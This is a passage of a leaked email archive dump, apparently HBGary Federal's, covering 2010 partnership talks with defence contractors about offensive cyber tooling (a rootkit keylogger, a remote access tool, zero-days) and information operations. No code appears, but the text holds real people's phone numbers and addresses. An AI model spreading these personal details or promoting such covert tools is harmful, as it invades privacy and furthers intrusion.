Xetron/HBGary handling the services/deployment of these capabilities on site. &nbsp;If Xetron can fund much of the integration it would get us their much faster....all these other guys are small companies with great capability, and of course you know that HBGary Federal is a very small company with big ideas. &nbsp;I would like to partner tightly to you guys to help build my business.... sounds like a win win, eh?&nbsp;What I am talking about is basically putting together a cyber version of an intel service, very focused on APT. &nbsp;As was mentioned a few times at the AF cyber conference last week. &nbsp;Cybersecurity efforts made over the last year or so have greatly improved our security against average threats, but has done really nothing to protect against APT.&nbsp;Thoughts?&nbsp;Aaron&nbsp;P.S. &nbsp;On the class, the Feb. class is the only one of its type. &nbsp;Maybe a DC class in March, have to check.&nbsp;Any status on the clearances? &nbsp;I can\'t remember, but were you going to be able to put us in for IC tickets as well?&nbsp;Another idea. &nbsp;What about building out some mobile capability. &nbsp;Maybe some mobile commercial capability? &nbsp;I have some ideas here.&nbsp;&nbsp;On Jan 18, 2010, at 1:58 PM, Masterson, Brian (Xetron) wrote:Hey Aaron,Just getting back into it.&nbsp; ES is looking for big ideas to fund for the year.&nbsp;&nbsp; Do you have any thoughts on a sizeable investment that we could make to further develop an HBGary/Palantir capability?&nbsp; I have one in the works for network defense but am looking for others.BrianBrian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3543&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10786,'aaron_hbgary_com/10786.html'),(1219,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000277.M730300P3547Q1219.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Lunch with Conroy','Hi Cassie,Sure that works fine.AaronOn Jan 19, 2010, at 9:35 AM, Robinson, Cassie wrote:Aaron – need to reschedule your lunch with Tom …. It is currently on 27 Jan.&nbsp; Would the 29thwork for you?&nbsp; Same time, Same place?&nbsp;&nbsp;Thanks&nbsp;csr&nbsp;Cassie Robinson&nbsp;| Northrop Grumman CorporationIntelligence Integrated Customer Team&nbsp;tel 703-741-7781&nbsp;|&nbsp;1000 Wilson Blvd&nbsp;&nbsp;|&nbsp;Suite 2300&nbsp;&nbsp;|&nbsp;Arlington, VA 22209&nbsp;A kind word never broke anyone\'s mouth.--&nbsp;Irish Proverb&nbsp;&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5393,'aaron_hbgary_com/5393.html'),(1220,'2010-01-19','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297000277.M932570P3547Q1220.eml','\"Aaron Barr\" <aaron@hbgary.com>','Lunch: Aaron Barr/Tom Conroy','\r\n\r\n\r\n\r\n\r\nLunch: Aaron Barr/Tom Conroy\r\n\r\n\r\n\r\n\r\nWhen: Friday, January 29, 2010 11:30 AM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: McCormick and Schmicks- McLean\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',3728,'aaron_hbgary_com/3728.html'),(1221,'2010-01-19','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000278.M148380P3547Q1221.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Checking in','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHour and half is probably best to cover everything.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 9:09 AM\r\nTo: Rich Cummings\r\nSubject: Fwd: Checking in\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow much time would you need for a demo for some of the\r\nsenior leadership at Mantech?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Nieves,\r\nAlexander&quot; &lt;Alexander.Nieves@ManTech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nJanuary\r\n19, 2010 9:05:26 AM EST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;Aaron\r\nBarr&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRE: Checking in\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYes indeed, thanks for the\r\nreminder. how much time would you need \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 8:50 AM\r\nTo: Nieves, Alexander\r\nSubject: Checking in\r\n\r\nHi Alex,\r\n\r\nAre you still interested in setting up an HBGary product demo?\r\n\r\nI was at the Cyber conference in Colorado Springs last week and spoke to\r\na Col. Thomas French, in one of his talks he specifically mentioned\r\ncyber based information operations, specifically about the types we\r\ndiscussed in our last meeting, just not on the commercial side. &nbsp;Anyway,\r\nare you still interested in pursuing this idea? &nbsp;Northrop is loosing\r\nwork in that area and is likely going to have some of my old team coming\r\navailable in Colorado Springs. &nbsp;These are people you just don\'t come\r\nacross very easily. &nbsp;Game developers, cartoonists, 3d modelers and\r\nanimators, script writers (he has actually won many hollywood script\r\ncontests), etc. &nbsp;I am very eager to build up this capability on mobile\r\nplatforms and would like to work together on this if you are still\r\ninterested.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1331,'aaron_hbgary_com/1331.html'),(1222,'2010-01-19','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000278.M379982P3547Q1222.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Meet this week?  Integration discussion & I want to introduce CEO of HBGary Federal - Aaron Barr','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI&#8230; I&#8217;ll let you know what\r\ncomes back.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings\r\n[mailto:rich@hbgary.com] \r\nSent: Tuesday, January 19, 2010 9:22 AM\r\nTo: \'Amit Yoran\'\r\nSubject: Meet this week? Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Amit,\r\n\r\n&nbsp;\r\n\r\nCan we get together this week to talk about some integration\r\npoints of our technologies and some Govt contracts were going after this year?\r\n&nbsp;We&#8217;re getting into the services space with a new company we started in\r\nNov called called HBGary Federal.&nbsp; This organization was started to do\r\nclassified work and to extend the HBGary product line into that\r\narena.&nbsp;&nbsp; HBGary&#8217;s CEO is Aaron Barr who comes to us from Northrop Grumman\r\nwhere he ran a book of business doing Information Operations for the last 15 or\r\nso years.&nbsp; &nbsp;\r\n\r\n&nbsp;\r\n\r\nI think we could team up to create some bleeding edge\r\nstuff.&nbsp; This week looks good for Aaron and I.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\nRich \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14016,'aaron_hbgary_com/14016.html'),(1223,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000278.M580612P3547Q1223.eml','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','Re: Checking in','We probably need about 2 hours to demo technology and have follow-on discussion about commercial technologies.  Let me know when you get fit it in on your side.\r\n\r\nYou mentioned a BD person to put me in contact with to work out the NDA stuff?\r\n\r\nAaron\r\n\r\n\r\nOn Jan 19, 2010, at 9:05 AM, Nieves, Alexander wrote:\r\n\r\n> Yes indeed, thanks for the reminder. how much time would you need \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, January 19, 2010 8:50 AM\r\n> To: Nieves, Alexander\r\n> Subject: Checking in\r\n> \r\n> Hi Alex,\r\n> \r\n> Are you still interested in setting up an HBGary product demo?\r\n> \r\n> I was at the Cyber conference in Colorado Springs last week and spoke to\r\n> a Col. Thomas French, in one of his talks he specifically mentioned\r\n> cyber based information operations, specifically about the types we\r\n> discussed in our last meeting, just not on the commercial side.  Anyway,\r\n> are you still interested in pursuing this idea?  Northrop is loosing\r\n> work in that area and is likely going to have some of my old team coming\r\n> available in Colorado Springs.  These are people you just don\'t come\r\n> across very easily.  Game developers, cartoonists, 3d modelers and\r\n> animators, script writers (he has actually won many hollywood script\r\n> contests), etc.  I am very eager to build up this capability on mobile\r\n> platforms and would like to work together on this if you are still\r\n> interested.\r\n> \r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1858,'aaron_hbgary_com/1858.html'),(1224,'2010-01-19','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000278.M785569P3547Q1224.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Heard of EndGames Systems','Sounds excellent, Ive also been in touch with Brian Masterson at Xetron and he says things are going great with the partnership with you guys and has some ideas on integration.  \r\n\r\nAnd I haven\'t forgotten about the press release, getting to that today.\r\n\r\nGood stuff,\r\nMatt\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 9:30 AM\r\nTo: Matthew Steckman\r\nSubject: Heard of EndGames Systems\r\n\r\nMatt,\r\n\r\nThis company has some very interesting capability for Botnets, Zero days, internet crawling.  I have a few meetings schedules over the next week.  I think they would be great to add to our partnership.  Maybe next week or the following I would like to bring them in to your space and we can all sit down and talk collectively.\r\n\r\nHows that sound?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15903,'aaron_hbgary_com/15903.html'),(1225,'2010-01-19','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000278.M971672P3547Q1225.eml','aaron@hbgary.com,aaron@hbgary.com','Re: Endgames / HB Gary Federal','Aaron,\r\nIt was good speaking with you. I look forward to meeting you at 230pm today. Please send me the address for the office or coffee shop and I\'ll see you there. Thanks\r\nJohn\r\nJohn M Farrell\r\nVP Federal, Endgame Systems\r\n703.622.9025 M\r\n\r\n----- Original Message -----\r\nFrom: John Farrell\r\nTo: aaron@hbgary.com \r\nCc: Chris Rouland\r\nSent: Tue Jan 19 08:11:53 2010\nSubject: Re: Endgames / HB Gary Federal\r\n\r\nCan you call me and we can discuss? Thanks\r\nJohn\r\n7036229025\r\nJohn M Farrell\r\nVP Federal, Endgame Systems\r\n703.622.9025 M\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: John Farrell\r\nCc: Chris Rouland\r\nSent: Tue Jan 19 06:56:52 2010\nSubject: Re: Endgames / HB Gary Federal\r\n\r\nHi John,\r\n\r\nWhat does your week look like, maybe we can find some time to get together.\r\n\r\nAaron\r\n\r\n\r\nOn Jan 14, 2010, at 4:31 PM, Chris Rouland wrote:\r\n\r\n> John,\r\n> \r\n> I wanted to introduce you to Aaron Barr, the CEO of HBGary Federal.  This is a new company spun out of HB Gary focused on classified government services in our space.  Aaron may have an opportunity to work with us on a Cayman/Corsica data feed for the Army, as well as a few others.  Hopefully you guys can get together face to face soon in DC.\r\n> \r\n> Thanks,\r\n> \r\n> Chris\r\n> \r\n> --\r\n> Chris Rouland\r\n> CEO\r\n> Endgame Systems\r\n> chris@endgames.us\r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16690,'aaron_hbgary_com/16690.html'),(1226,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000279.M233836P3547Q1226.eml','\"John Farrell\" <john@endgames.us>','Re: Endgames / HB Gary Federal','Sure thing.\r\n\r\nGreenberry Coffeehouse\r\n6839 Redmond Dr\r\nMc Lean? VA\r\nUnited States\r\n\r\n From my iPhone\r\n\r\nOn Jan 19, 2010, at 11:43 AM, John Farrell  wrote:\r\n\r\n> Aaron,\r\n> It was good speaking with you. I look forward to meeting you at\r\n> 230pm today. Please send me the address for the office or coffee\r\n> shop and I\'ll see you there. Thanks\r\n> John\r\n> John M Farrell\r\n> VP Federal, Endgame Systems\r\n> 703.622.9025 M\r\n>\r\n> ----- Original Message -----\r\n> From: John Farrell\r\n> To: aaron@hbgary.com \r\n> Cc: Chris Rouland\r\n> Sent: Tue Jan 19 08:11:53 2010\r\n> Subject: Re: Endgames / HB Gary Federal\r\n>\r\n> Can you call me and we can discuss? Thanks\r\n> John\r\n> 7036229025\r\n> John M Farrell\r\n> VP Federal, Endgame Systems\r\n> 703.622.9025 M\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: John Farrell\r\n> Cc: Chris Rouland\r\n> Sent: Tue Jan 19 06:56:52 2010\r\n> Subject: Re: Endgames / HB Gary Federal\r\n>\r\n> Hi John,\r\n>\r\n> What does your week look like, maybe we can find some time to get\r\n> together.\r\n>\r\n> Aaron\r\n>\r\n>\r\n> On Jan 14, 2010, at 4:31 PM, Chris Rouland wrote:\r\n>\r\n>> John,\r\n>>\r\n>> I wanted to introduce you to Aaron Barr, the CEO of HBGary\r\n>> Federal.  This is a new company spun out of HB Gary focused on\r\n>> classified government services in our space.  Aaron may have an\r\n>> opportunity to work with us on a Cayman/Corsica data feed for the\r\n>> Army, as well as a few others.  Hopefully you guys can get together\r\n>> face to face soon in DC.\r\n>>\r\n>> Thanks,\r\n>>\r\n>> Chris\r\n>>\r\n>> --\r\n>> Chris Rouland\r\n>> CEO\r\n>> Endgame Systems\r\n>> chris@endgames.us\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',13704,'aaron_hbgary_com/13704.html'),(1227,'2010-01-19','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000279.M441319P3547Q1227.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Need agreement(s) between HBGary, HBGary Fed and Xetron','No, I\'m sure NG has some sort of paperwork in this area given it\'s\r\nsource code.  I was just saying what was needed in the agreement.  For\r\nus to deal with writing this up and putting it through NG legal would\r\nbe a waste of time and money, we should look at their approved\r\ncontract and make changes as necessary\r\n\r\nOn Tue, Jan 19, 2010 at 5:27 AM, Aaron Barr  wrote:\r\n> Penny,\r\n>\r\n> Are you writing this up?  or someone else?\r\n>\r\n> Aaron\r\n>\r\n>\r\n> On Jan 15, 2010, at 3:20 PM, Penny Leavy wrote:\r\n>\r\n>> We need an agreement from Xetron, they should have a source code\r\n>> agreement.   General counsel will probably want to have them sign\r\n>> their paperwork..  Terms of deal\r\n>>\r\n>> 1.  WE will provide object code and source code for this specific Juicy Fruit.\r\n>>\r\n>> 2.  They can not sell this code without providing HBGary with a\r\n>> royalty (bob, please provide a price)\r\n>>\r\n>> 3,.  We own ALL rights to software Any deriratives, all original or\r\n>> modified source code belongs to HBGary until there is a purchase.\r\n>>\r\n>> 4.  No source code can leave Xetron, they must maintain control of\r\n>> this at all times\r\n>>\r\n>> 5.  All modifications need to be done by Xetron, not HBGary, which is\r\n>> why we are providing source.\r\n>>\r\n>>\r\n>> IF they want a contract with HBGary Federal that is fine, we just need\r\n>> to have one between us and Fed\r\n>>\r\n>> On Thu, Jan 14, 2010 at 6:56 AM, Bob Slapnik  wrote:\r\n>>> Penny and Aaron,\r\n>>>\r\n>>>\r\n>>>\r\n>>> Aaron wants to provide Xetron with some JF code to be used for\r\n>>> demonstrations to their end customers.  Those demonstrations could lead to\r\n>>> JF sales or ongoing services work.  There is significant revenue potential\r\n>>> doing testing of JF code acquired elsewhere or adding features for mission\r\n>>> specific uses.\r\n>>>\r\n>>>\r\n>>>\r\n>>> We need to execute either one tri-party agreement or two separate agreements\r\n>>> HBG & HBGFed and HBGFed & Xetron.  Below are some points to cover in the\r\n>>> agreement(s).\r\n>>>\r\n>>>\r\n>>>\r\n>>> Identification of the HBGary IP.  Here are the items we are planning to\r\n>>> furnish Xetron.  Another item could be added, but no other items have been\r\n>>> identified yet.\r\n>>>\r\n>>>\r\n>>>\r\n>>> ·         Adobe Macromedia Flash Player Remote Access Tool\r\n>>>\r\n>>> ·         HBGary Rootkit Keylogger Platform\r\n>>>\r\n>>> ·         Software Integration Toolkit Module\r\n>>>\r\n>>> ·         This includes both object and source code and documentation\r\n>>>\r\n>>>\r\n>>>\r\n>>> Agreement(s) need to state the following:\r\n>>>\r\n>>>\r\n>>>\r\n>>> ·         The IP is owned by HBGary and HBGary will retain ownership.\r\n>>>\r\n>>> ·         HBGary Federal are Xetron are restricted as to what they can do\r\n>>> with the code.\r\n>>>\r\n>>> ·         HBGary Federal and Xetron can perform the following:\r\n>>>\r\n>>> o   Test the code to verify how it works\r\n>>>\r\n>>> o   Make minor revisions to the source code and recompile it\r\n>>>\r\n>>> o   Demonstrate it to their end customers\r\n>>>\r\n>>> o   Can give the end customer high level marketing documents that describe\r\n>>> the value to the tools without disclosing anything about the underlying\r\n>>> technologies (the “secret sauce”).\r\n>>>\r\n>>> ·         HBGary Federal and Xetron may not do the following:\r\n>>>\r\n>>> o   May not give any portion of the IP to any other party\r\n>>>\r\n>>> o   May not sell the IP or software licenses without full disclosure and\r\n>>> consent from HBGary\r\n>>>\r\n>>> ·         HBGary and Xetron will limit the number of people who learn of the\r\n>>> existence of these tools to only those with “a need to know”.\r\n>>>\r\n>>>\r\n>>>\r\n>>> I’m sure the two of you will add clauses that I haven’t thought of.\r\n>>>\r\n>>>\r\n>>>\r\n>>> Bob\r\n>>>\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Penny C. Leavy\r\n>> HBGary, Inc.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',16605,'aaron_hbgary_com/16605.html'),(1228,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000279.M630496P3547Q1228.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Need agreement(s) between HBGary, HBGary Fed and Xetron','Dude she confuses the hell out of me. &nbsp;She was the one that said she would write this up.Begin forwarded message:From: Penny Leavy &lt;penny@hbgary.com&gt;Date: January 19, 2010 12:47:38 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Need agreement(s) between HBGary, HBGary Fed and XetronNo, I\'m sure NG has some sort of paperwork in this area given it\'ssource code. &nbsp;I was just saying what was needed in the agreement. &nbsp;Forus to deal with writing this up and putting it through NG legal wouldbe a waste of time and money, we should look at their approvedcontract and make changes as necessaryOn Tue, Jan 19, 2010 at 5:27 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Penny,Are you writing this up? &nbsp;or someone else?AaronOn Jan 15, 2010, at 3:20 PM, Penny Leavy wrote:We need an agreement from Xetron, they should have a source codeagreement. &nbsp; General counsel will probably want to have them signtheir paperwork.. &nbsp;Terms of deal1. &nbsp;WE will provide object code and source code for this specific Juicy Fruit.2. &nbsp;They can not sell this code without providing HBGary with aroyalty (bob, please provide a price)3,. &nbsp;We own ALL rights to software Any deriratives, all original ormodified source code belongs to HBGary until there is a purchase.4. &nbsp;No source code can leave Xetron, they must maintain control ofthis at all times5. &nbsp;All modifications need to be done by Xetron, not HBGary, which iswhy we are providing source.IF they want a contract with HBGary Federal that is fine, we just needto have one between us and FedOn Thu, Jan 14, 2010 at 6:56 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:Penny and Aaron,Aaron wants to provide Xetron with some JF code to be used fordemonstrations to their end customers. &nbsp;Those demonstrations could lead toJF sales or ongoing services work. &nbsp;There is significant revenue potentialdoing testing of JF code acquired elsewhere or adding features for missionspecific uses.We need to execute either one tri-party agreement or two separate agreementsHBG &amp; HBGFed and HBGFed &amp; Xetron. &nbsp;Below are some points to cover in theagreement(s).Identification of the HBGary IP. &nbsp;Here are the items we are planning tofurnish Xetron. &nbsp;Another item could be added, but no other items have beenidentified yet.· &nbsp; &nbsp; &nbsp; &nbsp; Adobe Macromedia Flash Player Remote Access Tool· &nbsp; &nbsp; &nbsp; &nbsp; HBGary Rootkit Keylogger Platform· &nbsp; &nbsp; &nbsp; &nbsp; Software Integration Toolkit Module· &nbsp; &nbsp; &nbsp; &nbsp; This includes both object and source code and documentationAgreement(s) need to state the following:· &nbsp; &nbsp; &nbsp; &nbsp; The IP is owned by HBGary and HBGary will retain ownership.· &nbsp; &nbsp; &nbsp; &nbsp; HBGary Federal are Xetron are restricted as to what they can dowith the code.· &nbsp; &nbsp; &nbsp; &nbsp; HBGary Federal and Xetron can perform the following:o &nbsp; Test the code to verify how it workso &nbsp; Make minor revisions to the source code and recompile ito &nbsp; Demonstrate it to their end customerso &nbsp; Can give the end customer high level marketing documents that describethe value to the tools without disclosing anything about the underlyingtechnologies (the “secret sauce”).· &nbsp; &nbsp; &nbsp; &nbsp; HBGary Federal and Xetron may not do the following:o &nbsp; May not give any portion of the IP to any other partyo &nbsp; May not sell the IP or software licenses without full disclosure andconsent from HBGary· &nbsp; &nbsp; &nbsp; &nbsp; HBGary and Xetron will limit the number of people who learn of theexistence of these tools to only those with “a need to know”.I’m sure the two of you will add clauses that I haven’t thought of.Bob--Penny C. LeavyHBGary, Inc.Aaron BarrCEOHBGary Federal Inc.-- Penny C. LeavyHBGary, Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',661,'aaron_hbgary_com/661.html'),(1229,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000279.M814584P3547Q1229.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: ES Big Ideas','On the Malware.... do you need source code? or just the binaries for integration?AaronOn Jan 19, 2010, at 7:49 AM, Masterson, Brian (Xetron) wrote:Hay Aaron,I have talked to End Game.&nbsp; We have an NDA in place and I need to go meet with them but I just have not had time.You have a better understanding of the products at this point so I am relying on your analysis.&nbsp; How do you see these tools being integrated together?&nbsp; I can two money sources; Xetron NCTAs and going after sector money.&nbsp; There may be another one that I can capitalize on.&nbsp;&nbsp; John Jadik, our VP, had a consultant into Baltimore last week to discuss growth.&nbsp;&nbsp; I was not there but Bill was. &nbsp;He told me the consultant told the attendees that Xetron should put all their resources into cyber as it is the only growth area within our portfolio.&nbsp; Now, John held back some NCTAs this year so if I could put a proposal to him I could possibly get the heldback NCTAs.So, what do you see as the integration needs given price points of, say, 100-200K(6-12MM), 500K, 1M and 2M?&nbsp; I can turn on 100K tomorrow, or as soon as we can get the tools assembled.&nbsp; Also, I would like to get ACT&amp;D’s Information geometry technology integrated to see if it can actually do anything of benefit.I talked to Matt at Palantir yesterday.&nbsp; Their minimal license cost is several hundred K.&nbsp; That is pretty pricey.&nbsp; Would be nice if they had a lower-priced entry point but then, it only takes a few multi-mil licenses to make the year for you.I am going to use our Cygnus program for your clearances.&nbsp; The sell is that we are going to look at integrating HBGary products and technology into the base-end so we need your assistance and thus the clearance request.&nbsp; The Cygnus PM was out yesterday so I will talk to him today if he is back.Let me know about the class in DC in March.&nbsp; If not, we’ll do February.&nbsp; March may be too long to wait.On the mobile side, what are you thinking?&nbsp; Brian Christos brought me an opportunity for some mobile security work which I have some IRAD working on.&nbsp;So, can you through me slides on what you think can be done for the price points and what you think these products will look like as a Threat Intelligence Center?&nbsp;Brian&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3543From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 18, 2010 3:53 PMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: ES Big Ideas&nbsp;Hey Brian,&nbsp;I the idea of a Threat Intelligence Center that works or should I say blurs the line between the two sides, offense and defense. &nbsp;I had a great conversation with a company called End Games last week. &nbsp;Have you heard of them? &nbsp;They have some significant capabilities on offense. &nbsp;They develop more inhouse zero days per year than anyone I have heard of. &nbsp;They also control some significant capabilities... I am not sure how actually they do some of the things they do but they have all the big customers. &nbsp;They are not in the services business, they only sell capabilities and subscriptions, so they are interested in partnering with HBGary Federal to work their capabilities on the services side. &nbsp;We are meeting with Netwitness next week to discuss the same thing.&nbsp;So no we have HBGary, Palantir, EndGames, Netwitness....all products/capabilities with Xetron/HBGary handling the services/deployment of these capabilities on site. &nbsp;If Xetron can fund much of the integration it would get us their much faster....all these other guys are small companies with great capability, and of course you know that HBGary Federal is a very small company with big ideas. &nbsp;I would like to partner tightly to you guys to help build my business.... sounds like a win win, eh?&nbsp;What I am talking about is basically putting together a cyber version of an intel service, very focused on APT. &nbsp;As was mentioned a few times at the AF cyber conference last week. &nbsp;Cybersecurity efforts made over the last year or so have greatly improved our security against average threats, but has done really nothing to protect against APT.&nbsp;Thoughts?&nbsp;Aaron&nbsp;P.S. &nbsp;On the class, the Feb. class is the only one of its type. &nbsp;Maybe a DC class in March, have to check.&nbsp;Any status on the clearances? &nbsp;I can\'t remember, but were you going to be able to put us in for IC tickets as well?&nbsp;Another idea. &nbsp;What about building out some mobile capability. &nbsp;Maybe some mobile commercial capability? &nbsp;I have some ideas here.&nbsp;&nbsp;On Jan 18, 2010, at 1:58 PM, Masterson, Brian (Xetron) wrote:Hey Aaron,Just getting back into it.&nbsp; ES is looking for big ideas to fund for the year.&nbsp;&nbsp; Do you have any thoughts on a sizeable investment that we could make to further develop an HBGary/Palantir capability?&nbsp; I have one in the works for network defense but am looking for others.BrianBrian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3543&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1314,'aaron_hbgary_com/1314.html'),(1230,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000280.M216692P3547Q1231.eml','albert.pisani@TASC.com','Congratulations','Hi Al,\r\n\r\nI don\'t think I had yet congratulated you on your move to TASC.  I am sure some bumpy roads but sounds promising.\r\n\r\nDo you have some time to catch up?  I would like to tell you about some of the things I am thinking about and working on related to cybersecurity and information operations.  I am working to put together a cooperative of small, innovative business with complementary technologies as one effort.  I think it could be promising.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2674,'aaron_hbgary_com/2674.html'),(1231,'2010-01-19','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000280.M438376P3547Q1232.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Meet this week?  Integration discussion & I want to introduce CEO of HBGary Federal - Aaron Barr','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nRe: Meet this week? &nbsp;Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat is your schedule this week?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Brian Girardi\r\n[mailto:brian@netwitness.com] \r\nSent: Tuesday, January 19, 2010 1:23 PM\r\nTo: Amit Yoran; Rich Cummings\r\nCc: Tim Belcher\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFor me tomorrow 11:30-1 or after 3.\r\nThursday @1. Or push to next week.\r\n\r\n\r\nOn 1/19/10 1:13 PM, &quot;Amit Yoran&quot; &lt;amit@netwitness.com&gt;\r\nwrote:\r\n\r\nRich, would love to connect and explore.\r\nI can do tomorrow 9/930 until 11am.\r\nI&#8217;m on the road Thursday and downtown all day Friday. &nbsp;\r\n\r\nI would like Tim and/or Brian to attend (probably more important that they\r\nattend than me even). &nbsp;We have our infrastructure now working to rip files\r\nout of network traffic and export them into a directory, where they can be\r\ningested by a 